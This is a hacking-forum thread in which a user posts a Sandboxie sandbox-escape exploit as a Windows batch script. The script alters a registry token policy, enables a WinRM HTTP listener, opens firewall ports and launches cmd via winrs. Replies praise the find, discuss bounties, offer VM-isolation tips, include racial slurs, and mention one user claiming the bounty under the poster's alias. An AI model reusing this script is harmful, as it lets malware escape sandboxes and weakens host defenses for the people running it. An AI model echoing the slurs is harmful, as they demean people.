[IcYSeptember]

So, my internet was out for the past 3 days, and I started playing around seeing what I could do with Sandboxie, since all my friends are at school and whatnot.

Anyway...Found this.
(Watch it in fullscreen so you can actually read)





It's not public, nor do I intend it to be released, leaked, sold (except to the developer of Sandboxie), or anything else.
Just thought I'd let you know that Sandboxie isn't as secure as you think it is.

UPDATE:



And when trying the vulnerability when testing the new, beta version:



And lastly, the escape source code:

Code

@echo off
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
cmd /c "winrm quickconfig -quiet -force" >nul
cmd /c "winrm create winrm/config/listener?Address=*+Transport=HTTP" >nul
netsh firewall add portopening TCP 80 "Windows Remote Management" >nul
netsh firewall add portopening TCP 137 "a1" >nul
ping 127.0.0.1 -n 3 -w 5000 >nul
winrs -r:127.0.0.1 "start cmd"
pause

[Jibbly]

Damn yo good ass find bro hope you get some BANK NIGGA

[Aura]

Nice find once again Icy.
I suggest everyone to not use Sandboxie on their host system right now until this gets patched. Run Sandboxie in a VM like I do and even there, secure your VM. We have no idea if that 0day is currently being used by spreaders or not.

[Eeluminati]

Nice find once again Icy.
I suggest everyone to not use Sandboxie on their host system right now until this gets patched. Run Sandboxie in a VM like I do and even there, secure your VM. We have no idea if that 0day is currently being used by spreaders or not.

Indeed. I remember you recommending me to use my VM with sandboxie rather than it alone, any recommendations now to prevent malicious software on VM?

[Aura]

Indeed. I remember you recommending me to use my VM with sandboxie rather than it alone, any recommendations now to prevent malicious software on VM?

Isolate your VM. Disable the shared clipboard, disable the network discovery and file sharing on both your host system and your VM and put your VM in a separate VLAN if you can.

[Eeluminati]

Isolate your VM. Disable the shared clipboard, disable the network discovery and file sharing on both your host system and your VM and put your VM in a separate VLAN if you can.

Alright thanks for the help, you should make a thread to alert this to people. 🤝

[NoMemes]

Video is glitched for me. Upload it again possibly?

Thanks Op. :L

[Dex‌]

My nigga Icy is going to make bank with this shit.

Nice find, bruh.

[Aceman]

Impressive find there Icy! Do they offer bounties for finds such as these or are you just going to be kind and share it with it?

[Aura]

Impressive find there Icy! Do they offer bounties for finds such as these or are you just going to be kind and share it with it?

He's going for the bounty obviously and this is what I would do too 🙂

[Eeluminati]

I wonder how much he'll get.

Sandboxie: Great find! We've gone ahead and hooked you up with premium Sandboxie!

[Ƥerfectionist]

I wonder how much OP will get for this find, and it's good that you're not giving this out and whatnot

[IcYSeptember]

I'm still waiting on that email from Sandboxie. :/
Hopefully they do offer bounties.

[hyhyyhhrf3]

I went ahead and reported this to Sandboxie using your alias etc. I'll let you guys know how much they pay me soon.

[Dex‌]

I'm still waiting on that email from Sandboxie. :/
Hopefully they do offer bounties.

They should considering how important a bug like this is.